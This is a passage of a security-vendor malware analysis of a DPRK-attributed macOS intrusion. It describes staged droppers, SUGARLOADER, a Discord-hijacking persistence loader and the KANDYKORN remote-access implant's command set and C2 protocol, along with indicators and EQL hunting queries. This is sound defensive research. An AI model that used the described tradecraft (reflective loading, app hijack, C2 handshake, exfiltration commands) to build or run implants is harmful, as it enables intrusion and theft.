<p><code>Watcher.py</code> imports <code>testSpeed.py</code> as a module, executing the contents of the script.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image7.png" alt="Import testSpeed.py to execute it" /></p>
<p>Concluding its operation, the malicious script tidies up, deleting the <code>testSpeed.py</code> file immediately after its one-time execution.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image8.png" alt="Delete the downloaded testSpeed.py file following its import and execution" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image35.png" alt="Watcher.py deletes the testSpeed.py immediately following its execution" /></p>
<h2>Stage 1 droppers testSpeed.py and FinderTools</h2>
<p>When executed, <code>testSpeed.py</code> establishes an outbound network connection and fetches another Python file from a Google Drive URL, named <code>FinderTools</code>. This new file is saved to the <code>/Users/Shared/</code> directory, with the method of retrieval mirroring the <code>Watcher.py</code> script.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image9.png" alt="testSpeed.py network connection" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image2.png" alt="_FinderTools file creation _" /></p>
<p>After download, <code>testSpeed.py</code> launches <code>FinderTools</code>, providing a URL (<code>tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC</code>) as an argument which initiates an outbound network connection.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image3.png" alt="FinderTools execution" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image13.png" alt="FinderTools network connections" /></p>
<p><code>FinderTools</code> is yet another dropper, downloading and executing a hidden second stage payload <code>.sld</code> also written to the <code>/Users/Shared/</code> directory.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image5.png" alt="FinderTools executes .sld" /></p>
<h2>Stage 2 payload .sld and .log: SUGARLOADER</h2>
<p>Stage 2 involves the execution of an obfuscated binary we have named SUGARLOADER, which is utilized twice under two separate names (<code>.sld</code> and <code>.log</code>).</p>
<p>SUGARLOADER is first observed at <code>/Users/shared/.sld</code>. The second instance of SUGARLOADER, renamed to <code>.log</code>, is used in the persistence mechanism REF7001 implements with Discord.</p>
<h3>Obfuscation</h3>
<p>SUGARLOADER is used for initial access on the machine, and initializing the environment for the final stage. This binary is obfuscated using a binary packer, limiting what can be seen with static analysis.</p>
<p>The start function of this binary consists of a jump (<code>JMP</code>) to an undefined address. This is common for binary packers.</p>
<pre><code>HEADER:00000001000042D6 start:
HEADER:00000001000042D6                 jmp     0x10000681E
</code></pre>
<p>Executing the macOS file object tool <code>otool -l ./log</code> lists all the sections that will be loaded at runtime.</p>
<pre><code>Section
  sectname __mod_init_func
   segname lko2
      addr 0x00000001006983f0
      size 0x0000000000000008
    offset 4572144
     align 2^3 (8)
    reloff 0
    nreloc 0
     flags 0x00000009
 reserved1 0
 reserved2 0
</code></pre>
<p><code>__mod_init_func</code> contains initialization functions. The C++ compiler places static constructors here. This is the code used to unpack the binary in memory.</p>
<p>A successful method of reverse engineering such files is to place a breakpoint right after the execution of initialization functions and then take a snapshot of the process's virtual memory. When the breakpoint is hit, the code will already be decrypted in memory and can be analyzed using traditional methods.</p>
<p>Adversaries commonly use obfuscation techniques such as this to bypass traditional static signature-based antimalware capabilities. As of this publication, VirusTotal <a href="https://www.virustotal.com/gui/file/3ea2ead8f3cec030906dcbffe3efd5c5d77d5d375d4a54cca03bfe8a6cb59940">shows 0 detections of this file</a>, which suggests these defense evasions continue to be cost-effective.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image11.png" alt="SUGARLOADER VirusTotal Detections" /></p>
<h3>Execution</h3>
<p>The primary purpose of SUGARLOADER is to connect to a Command and Control server (C2), in order to download a final stage payload we refer to as KANDYKORN, and execute it directly in memory.</p>
<p>SUGARLOADER checks for the existence of a configuration file at <code>/Library/Caches/com.apple.safari.ck</code>. If the configuration file is missing, it will be downloaded and created via a default C2 address provided as a command line argument to the <code>.sld</code> binary. In our sample, the C2 address was <code>23.254.226[.]90</code> over TCP port <code>443</code>. We provide additional information about the C2 in the Network Infrastructure section below.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image4.png" alt="SUGARLOADER C2 established and configuration file download" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image40.png" alt="SUGARLOADER writing configuration file" /></p>
<p>The configuration file is encrypted using RC4 and the encryption key (in the Observations section) is hardcoded within SUGARLOADER itself. The <code>com.apple.safari.ck</code> file is utilized by both SUGARLOADER and KANDYKORN for establishing secure network communications.</p>
<pre><code>struct MalwareConfig
{
  char computerId[8];
  _BYTE gap0[12];
  Url c2_urls[2];
  Hostname c2_ip_address[2];
  _BYTE proxy[200];
  int sleepInterval;
};
</code></pre>
<p><code>computerId</code> is a randomly generated string identifying the victim’s computer.</p>
<p>A C2 server can either be identified with a fully qualified URL (<code>c2_urls</code>) or with an IP address and port (<code>c2_ip_ddress</code>). It supports two C2 servers, one as the main server, and the second one as a fallback. The specification or hardcoding of multiple servers like this is commonly used by malicious actors to ensure their connection with the victim is persistent should the original C2 be taken down or blocked. <code>sleepInterval</code> is the default sleeping interval for the malware between separate actions.</p>
<p>Once the configuration file is read into memory and decrypted, the next step is to initialize a connection to the remote server. All the communication between the victim’s computer and the C2 server is detailed in the Network Protocol section.</p>
<p>The last step taken by SUGARLOADER is to download a final stage payload from the C2 server and execute it. REF7001 takes advantage of a technique known as <a href="https://attack.mitre.org/techniques/T1620/">reflective binary loading</a> (allocation followed by the execution of payloads directly within the memory of the process) to execute the final stage, leveraging APIs such as <code>NSCreateObjectFileImageFromMemory</code> or <code>NSLinkModule</code>. Reflective loading is a powerful technique. If you'd like to learn more about how it works, check out this research by <a href="https://slyd0g.medium.com/understanding-and-defending-against-reflective-code-loading-on-macos-e2e83211e48f">slyd0g</a> and <a href="https://hackd.net/posts/macos-reflective-code-loading-analysis/">hackd</a>.</p>
<p>This technique can be utilized to execute a payload from an in-memory buffer. Fileless execution such as this <a href="https://objective-see.org/blog/blog_0x51.html">has been observed previously</a> in attacks conducted by the Lazarus Group.</p>
<p>SUGARLOADER reflectively loads a binary (KANDYKORN) and then creates a new file initially named <code>appname</code> which we refer to as <code>HLOADER</code> which we took directly from the process code signature’s signing identifier.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image12.png" alt="SUGARLOADER reflective binary load alert" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image36.png" alt="SUGARLOADER creates HLOADER" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image10.png" alt="HLOADER code signature identifier" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image34.png" alt="Pseudocode for SUGARLOADER (stage2)" /></p>
<h2>Stage 3 loader Discord: HLOADER</h2>
<p>HLOADER (<code>2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1</code>) is a payload that attempts to masquerade as the legitimate Discord application. As of this writing, <a href="https://www.virustotal.com/gui/file/2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1">it has 0 detections on VirusTotal</a>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image15.png" alt="HLOADER VirusTotal Detections" /></p>
<p>HLOADER was identified through the use of a macOS binary code-signing technique that has been <a href="https://objective-see.org/blog/blog_0x73.html">previously linked</a> to the <a href="https://www.eset.com/int/about/newsroom/press-releases/research/eset-research-discovers-new-lazarus-dreamjob-campaign-and-links-it-to-phone-provider-3cx-supply-chai/">DPRK’s Lazarus Group 3CX intrusion</a>. In addition to other published research, Elastic Security Labs has also used the presence of this technique as an indicator of DPRK campaigns, as seen in our June 2023 research publication on <a href="https://www.elastic.co/jp/security-labs/inital-research-of-jokerspy#the-xcc-binary">JOKERSPY</a>.</p>
<h3>Persistence</h3>
<p>We observed the threat actor adopting a technique we have not previously seen them use to achieve persistence on macOS, known as <a href="https://attack.mitre.org/techniques/T1574/">execution flow hijacking</a>. The target of this attack was the widely used application Discord. The Discord application is often configured by users as a login item and launched when the system boots, making it an attractive target for takeover. HLOADER is a self-signed binary written in Swift. The purpose of this loader is to execute both the legitimate Discord bundle and <code>.log</code> payload, the latter of which is used to execute Mach-O binary files from memory without writing them to disk.</p>
<p>The legitimate binary <code>/Applications/Discord.app/Contents/MacOS/Discord</code> was renamed to <code>.lock</code>, and replaced by <code>HLOADER</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image18.png" alt="Discord replaced by HLOADER" /></p>
<p>Below is the code signature information for <code>HLOADER</code>, which has a self-signed identifier structure consistent with other Lazarus Group samples.</p>
<pre><code>Executable=Applications/Discord.app/Contents/MacOS/Discord
Identifier=HLOADER-5555494485b460f1e2343dffaef9b94d01136320
Format=bundle with Mach-O universal (x86_64 arm64)
CodeDirectory flags=0x2(adhoc) hashes=12+7 location=embedded
</code></pre>
<p>When executed, <code>HLOADER</code> performs the following operations:</p>
<ul>
<li>Renames itself from <code>Discord</code> to <code>MacOS.tmp</code></li>
<li>Renames the legitimate Discord binary from <code>.lock</code> to <code>Discord</code></li>
<li>Executes both Discord and <code>.log</code> using <code>NSTask.launchAndReturnError</code></li>
<li>Renames both files back to their initial names</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image37.png" alt="HLOADER execution event chain" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image33.png" alt="HLOADER Discord Application Hijack" /></p>
<p>The following process tree also visually depicts how persistence is obtained. The root node <code>Discord</code> is actually HLOADER disguised as the legitimate app. As presented above, it first runs .lock, which is in fact Discord, and, alongside, spawns SUGARLOADER as a process named .log.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image23.png" alt="Process Tree Analyzer" /></p>
<p>As seen in stage 2, SUGARLOADER reads the configuration file, connects to the C2 server, and waits for a payload to be received. Another alert is generated when the new payload (KANDYKORN) is loaded into memory.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image27.png" alt="Reflective Dylib Load Alert for KANDYKORN" /></p>
<h2>Stage 4 Payload: KANDYKORN</h2>
<p>KANDYKORN is the final stage of this execution chain and possesses a full-featured set of capabilities to access and exfiltrate data from the victim’s computer. Elastic Security Labs was able to retrieve this payload from one C2 server which hadn’t been deactivated yet.</p>
<h3>Execution</h3>
<p>KANDYCORN processes are forked and run in the background as daemons before loading their configuration file from <code>/Library/Caches/com.apple.safari.ck</code>. The configuration file is read into memory then decrypted using the same RC4 key, and parsed for C2 settings. The communication protocol is similar to prior stages using the victim ID value for authentication.</p>
<h3>Command and control</h3>
<p>Once communication is established, KANDYKORN awaits commands from the server. This is an interesting characteristic in that the malware waits for commands instead of polling for commands. This would reduce the number of endpoint and network artifacts generated and provide a way to limit potential discovery.</p>
<p>Each command is represented by an integer being transmitted, followed by the data that is specific to each action. Below is a list of the available commands KANDYKORN provides.</p>
<h4>Command 0xD1</h4>
<p>Action: Exit command where the program gracefully exists.</p>
<h4>Command 0xD2</h4>
<p>Name: <code>resp_basicinfo</code>
Action: Gathers information about the system such as hostname, uid, osinfo, and image path of the current process, and reports back to the server.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image16.png" alt="resp_basicinfo routine" /></p>
<h4>Command 0xD3</h4>
<p>Name: <code>resp_file_dir</code>
Action: Lists content of a directory and format the output similar to <code>ls -al</code>, including type, name, permissions, size, acl, path, and access time.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image20.png" alt="resp_file_dir routine" /></p>
<h4>Command 0xD4</h4>
<p>Name: <code>resp_file_prop</code></p>
<p>Action: Recursively read a directory and count the number of files, number of subdirectories, and total size.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image26.png" alt="resp_file_prop routine" /></p>
<h4>Command 0xD5</h4>
<p>Name: <code>resp_file_upload</code></p>
<p>Action: Used by the adversary to upload a file from their C2 server to the victim’s computer. This command specifies a path, creates it, and then proceeds to download the file content and write it to the victim’s computer.</p>
<h4>Command 0xD6</h4>
<p>Name: <code>resp_file_down</code></p>
<p>Action: Used by the adversary to transfer a file from the victim’s computer to their infrastructure.</p>
<h4>Command 0xD7</h4>
<p>Name: <code>resp_file_zipdown</code></p>
<p>Action: Archive a directory and exfiltrate it to the C2 server. The newly created archive’s name has the following pattern<code>/tmp/tempXXXXXXX</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image29.png" alt="_resp_file_zipdown routine _" /></p>
<h4>Command 0xD8</h4>
<p>Name: <code>resp_file_wipe</code>
Action: Overwrites file content to zero and deletes the file. This is a common technique used to impede recovering the file through digital forensics on the filesystem.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image28.png" alt="resp_file_wipe routine" /></p>
<h4>Command 0xD9</h4>
<p>Name: <code>resp_proc_list</code></p>
<p>Action: Lists all running processes on the system along with their PID, UID and other information.</p>
<h4>Command 0xDA</h4>
<p>Name: <code>resp_proc_kill</code></p>
<p>Action: Kills a process by specified PID.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image19.png" alt="resp_proc_kill routine" /></p>
<h4>Command 0xDB</h4>
<p>Name: <code>resp_cmd_send</code></p>
<p>Action: Executes a command on the system by using a pseudoterminal.</p>
<h4>Command 0xDC</h4>
<p>Name: <code>resp_cmd_recv</code></p>
<p>Action: Reads the command output from the previous command <code>resp_cmd_send</code>.</p>
<h4>Command 0xDD</h4>
<p>Name: <code>resp_cmd_create</code></p>
<p>Action: Spawns a shell on the system and communicates with it via a pseudoterminal. Once the shell process is executed, commands are read and written through the <code>/dev/pts</code> device.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image38.png" alt="resp_cmd_create routine (interactive shell)" /></p>
<h4>Command 0xDE</h4>
<p>Name: <code>resp_cfg_get</code></p>
<p>Action: Sends the current configuration to the C2 from <code>/Library/Caches/com.apple.safari.ck</code>.</p>
<h4>Command 0xDF</h4>
<p>Name: <code>resp_cfg_set</code></p>
<p>Action: Download a new configuration file to the victim’s machine. This is used by the adversary to update the C2 hostname that should be used to retrieve commands from.</p>
<h4>Command 0xE0</h4>
<p>Name: <code>resp_sleep</code></p>
<p>Action: Sleeps for a number of seconds.</p>
<h3>Summary</h3>
<p>KANDYKORN is an advanced implant with a variety of capabilities to monitor, interact with, and avoid detection. It utilizes reflective loading, a direct-memory form of execution that may bypass detections.</p>
<h2>Network protocol</h2>
<p>All the executables that communicate with the C2 (both stage 3 and stage 4) are using the same protocol. All the data is encrypted with RC4 and uses the same key previously referenced in the configuration file.</p>
<p>Both samples implement wrappers around the send-and-receive system calls. It can be observed in the following pseudocode that during the send routine, the buffer is first encrypted and then sent to the socket, whereas when data is received it is first decrypted and then processed.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image22.png" alt="send routine" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image32.png" alt="recv routine" /></p>
<p>When the malware first connects to the C2 during the initialization phase, there is a handshake that needs to be validated in order to proceed. Should the handshake fail, the attack would stop and no other commands would be processed.</p>
<p>On the client side, a random number is generated and sent to the C2, which replies with a nonce variable. The client then computes a challenge with the random number and the received nonce and sends the result back to the server. If the challenge is successful and the server accepts the connection, it replies with a constant such as <code>0x41C3372</code> which appears in the analyzed sample.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image39.png" alt="Handshake routine" /></p>
<p>Once the connection is established, the client sends its ID and awaits commands from the server. Any subsequent data sent or received from here is serialized following a common schema used to serialize binary objects. First, the length of the content is sent, then the payload, followed by a return code which indicates if any error occurred.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image6.png" alt="Overview of communication protocol" /></p>
<h2>Network infrastructure</h2>
<p>During REF7001, the adversary was observed communicating with network infrastructure to collect various payloads and loaders for different stages of the intrusion.</p>
<p>As detailed in the Stage 1 section above, the link to the initial malware archive, <code>Cross-Platform Bridges.zip</code>, was provided in a direct message on a popular blockchain Discord server. This archive was hosted on a Google Drive (<code>https://drive.google[.]com/file/d1KW5nQ8MZccug6Mp4QtKyWLT3HIZzHNIL2</code>), but this was removed shortly after the archive was downloaded.</p>
<p>Throughout the analysis of the REF7001 intrusion, there were two C2 servers observed.</p>
<ul>
<li><code>tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC</code></li>
<li><code>23.254.226[.]90</code></li>
</ul>
<h3>tp-globa[.]xyz</h3>
<p>The C2 domain <code>tp-globa[.]xyz</code> is used by <code>FinderTools</code> to download SUGARLOADER and is likely an attempt at <a href="https://en.wikipedia.org/wiki/Typosquatting">typosquatting</a> a legitimate foreign exchange market broker. We do not have any information to indicate that the legitimate company is involved in this intrusion. This typosquatted domain was likely chosen in an attempt to appear more legitimate to the victims of the intrusion.</p>
<p><code>tp-globa[.]xyz</code>, as of this writing, resolves to an IP address (<code>192.119.64[.]43</code>) that has been observed distributing malware attributed to the DPRK’s Lazarus Group (<a href="https://twitter.com/TLP_R3D/status/1677617586349981696">1</a>, <a href="https://twitter.com/_reboot_xxxx/status/1679054436289880065">2</a>, <a href="https://twitter.com/KSeznec/status/1678319191110082560">3</a>).</p>
<h3>23.254.226[.]90</h3>
<p>23.254.226[.]90 is the C2 IP used for the <code>.sld</code> file (SUGARLOADER malware). How this IP is used for C2 is highlighted in the stage 2 section above.</p>
<p>On October 14, 2023, <code>23.254.226[.]90</code> was used to register the subdomain, <code>pesnam.publicvm[.]com</code>. While we did not observe this domain in our intrusion, it is <a href="https://www.virustotal.com/gui/domain/publicvm.com/detection">documented</a> as hosting other malicious software.</p>
<h2>Campaign intersections</h2>
<p><code>tp-globa[.]xyz</code>, has a TLS certificate with a Subject CN of <code>bitscrunnch.linkpc[.]net</code>. The domain <code>bitscrunnch.linkpc[.]net</code> has been <a href="https://twitter.com/tiresearch1/status/1708141542261809360?s=20">attributed</a> to other Lazarus Group intrusions.</p>
<p>As noted above, this is likely an attempt to typosquat a legitimate domain for a decentralized NFT data platform. We do not have any information to indicate that the legitimate company is involved in this intrusion.</p>
<pre><code>…
Issuer: C = US, O = Let's Encrypt, CN = R3
Validity
Not Before: Sep 20 12:55:37 2023 GMT
Not After : Dec 19 12:55:36 2023 GMT
Subject: CN = bitscrunnch[.]linkpc[.]net
…
</code></pre>
<p>The <code>bitscrunnch.linkpc[.]net</code>’s TLS certificate is also used for <a href="https://www.virustotal.com/gui/search/entity%253Adomain%2520ssl_subject%253Abitscrunnch.linkpc.net/domains">other additional domains</a>, all of which are registered to the same IP address reported above in the <code>tp-globa[.]xyz</code> section above, <code>192.119.64[.]43</code>.</p>
<ul>
<li><code>jobintro.linkpc[.]net</code></li>
<li><code>jobdescription.linkpc[.]net</code></li>
<li><code>docsenddata.linkpc[.]net</code></li>
<li><code>docsendinfo.linkpc[.]net</code></li>
<li><code>datasend.linkpc[.]net</code></li>
<li><code>exodus.linkpc[.]net</code></li>
<li><code>bitscrunnch.run[.]place</code></li>
<li><code>coupang-networks[.]pics</code></li>
</ul>
<p>While LinkPC is a legitimate second-level domain and dynamic DNS service provider, it is <a href="https://www.virustotal.com/gui/domain/linkpc.net/community">well-documented</a> that this specific service is used by threat actors for C2. In our <a href="https://www.elastic.co/jp/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket">published research into RUSTBUCKET</a>, which is also attributed to the DPRK, we observed LinkPC being used for C2.</p>
<p>All registered domains, 48 as of this writing, for <code>192.119.64[.]43</code> are included in the observables bundle.</p>
<p>Finally, in late July 2023, there were reports on the Subreddits <a href="https://www.reddit.com/r/hacking/comments/15b4uti/comment/jtprebt/">r/hacking</a>, <a href="https://www.reddit.com/r/Malware/comments/15b595e/looks_like_a_try_to_steel_some_data/">r/Malware</a>, and <a href="https://www.reddit.com/r/pihole/comments/15d11do/malware_project_mimics_pihole/jtzmpqh/">r/pihole</a> with URLs that matched the structure of <code>tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC</code>. The user on Reddit reported that a recruiter contacted them to solve a Python coding challenge as part of a job offer. The code challenge was to analyze Python code purported to be for an internet speed test. This aligns with the REF7001 victim’s reporting on being offered a Python coding challenge and the script name <code>testSpeed.py</code> detailed earlier in this research.</p>
<p>The domain reported on Reddit was <code>group.pro-tokyo[.]top//OcRLY4xsFlN/vMZrXIWONw/6OyCZl89HS/fP7savDX6c/bfC</code> which follows the same structure as the REF7001 URL (<code>tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC</code>):</p>
<ul>
<li>Two <code>//</code>’s after the TLD</li>
<li>5 subdirectories using an <code>//11-characters/10-characters/10-characters/</code> structure</li>
<li>The last 2 subdirectories were <code>/fP7savDX6c/bfC</code></li>
</ul>
<p>While we did not observe GitHub in our intrusion, the Redditors who reported this did observe GitHub profiles being used. They have all been deactivated.</p>
<p>Those accounts were:</p>
<ul>
<li><code>https://github[.]com/Prtof</code></li>
<li><code>https://github[.]com/wokurks</code></li>
</ul>
<h2>Summary</h2>
<p>The DPRK, via units like the LAZARUS GROUP, continues to target crypto-industry businesses with the goal of stealing cryptocurrency in order to circumvent international sanctions that hinder the growth of their economy and ambitions. In this intrusion, they targeted blockchain engineers active on a public chat server with a lure designed to speak to their skills and interests, with the underlying promise of financial gain.</p>
<p>The infection required interactivity from the victim that would still be expected had the lure been legitimate. Once executed, via a Python interpreter, the REF7001 execution flow went through 5 stages:</p>
<ul>
<li>Stage 0 (staging) - <code>Main.py</code> executes <code>Watcher.py</code> as an imported module. This script checks the Python version, prepares the local system directories, then downloads, executes, and cleans up the next stage.</li>
<li>Stage 1 (generic droppers) - <code>testSpeed.py</code> and <code>FinderTools</code> are intermediate dropper Python scripts that download and execute SUGARLOADER.</li>
<li>Stage 2 (SUGARLOADER) - <code>.sld</code> and <code>.log</code> are Mach-O executable payloads that establish C2, write the configuration file and reflectively load KANDYKORN.</li>
<li>Stage 3 (HLOADER) - <code>HLOADER</code>/<code>Discord</code>(fake) is a simple loader used as a persistence mechanism masquerading as the legitimate Discord app for the loading of SUGARLOADER.</li>
<li>Stage 4 (KANDYKORN) - The final reflectively loaded payload. KANDYKORN is a full-featured memory resident RAT with built-in capabilities to:
<ul>
<li>Conduct encrypted command and control</li>
<li>Conduct system enumeration</li>
<li>Upload and execute additional payloads</li>
<li>Compress and exfil data</li>
<li>Kill processes</li>
<li>Run arbitrary system commands through an interactive pseudoterminal</li>
</ul>
</li>
</ul>
<p>Elastic traced this campaign to April 2023 through the RC4 key used to encrypt the SUGARLOADER and KANDYKORN C2. This threat is still active and the tools and techniques are being continuously developed.</p>
<h2>The Diamond Model</h2>
<p>Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for an, although cluttered, single diamond.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image30.jpg" alt="REF7001 Diamond Model" /></p>
<h2>[Malware] and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats used against enterprise networks.</p>
<h4>Tactics</h4>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010">Exfiltration</a></li>
</ul>
<h4>Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1204/002/">User Execution: Malicious File</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/006/">Command and Scripting Interpreter: Python</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/004/">Command and Scripting Interpreter: Unix Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/">Hijack Execution Flow</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/Decode Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/001/">Hide Artifacts: Hidden Files and Directories</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/004/">Indicator Removal: File Deletion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/002/">Obfuscated Files or Information: Software Packing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1560/003/">Archive Collected Data: Archive via Custom Method</a></li>
<li><a href="https://attack.mitre.org/techniques/T1074/001/">Local Data Staging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application Layer Protocol: Web Protocols</a></li>
<li><a href="https://attack.mitre.org/techniques/T1008/">Fallback Channels</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
</ul>
<h2>Malware prevention capabilities</h2>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_SugarLoader.yar">MacOS.Trojan.SUGARLOADER</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_HLoader.yar">MacOS.Trojan.HLOADER</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_KandyKorn.yar">MacOS.Trojan.KANDYKORN</a></li>
</ul>
<h2>Malware detection capabilities</h2>
<h3>Hunting queries</h3>
<p>The events for EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.</p>
<h4>EQL queries</h4>
<p>Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for similar behaviors.</p>
<p>The following EQL query can be used to identify when a hidden executable creates and then immediately deletes a file within a temporary directory:</p>
<pre><code>sequence by process.entity_id, file.path with maxspan=30s
  [file where event.action == &quot;modification&quot; and process.name : &quot;.*&quot; and 
   file.path : (&quot;/private/tmp/*&quot;, &quot;/tmp/*&quot;, &quot;/var/tmp/*&quot;)]
  [file where event.action == &quot;deletion&quot; and process.name : &quot;.*&quot; and 
   file.path : (&quot;/private/tmp/*&quot;, &quot;/tmp/*&quot;, &quot;/var/tmp/*&quot;)]
</code></pre>
<p>The following EQL query can be used to identify when a hidden file makes an outbound network connection followed by the immediate download of an executable file:</p>
<pre><code>sequence by process.entity_id with maxspan=30s
[network where event.type == &quot;start&quot; and process.name : &quot;.*&quot;]
[file where event.action != &quot;deletion&quot; and file.Ext.header_bytes : (&quot;cffaedfe*&quot;, &quot;cafebabe*&quot;)]
</code></pre>
<p>The following EQL query can be used to identify when a macOS application binary gets renamed to a hidden file name within the same directory:</p>
<pre><code>file where event.action == &quot;rename&quot; and file.name : &quot;.*&quot; and 
 file.path : &quot;/Applications/*/Contents/MacOS/*&quot; and 
 file.Ext.original.path : &quot;/Applications/*/Contents/MacOS/*&quot; and 
 not startswith~(file.Ext.original.path,Effective_process.executable)
</code></pre>
<p>The following EQL query can be used to identify when an IP address is supplied as an argument to a hidden executable:</p>
<pre><code>sequence by process.entity_id with maxspan=30s
[process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and process.name : &quot;.*&quot; and process.args regex~ &quot;[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}&quot;]
[network where event.type == &quot;start&quot;]
</code></pre>
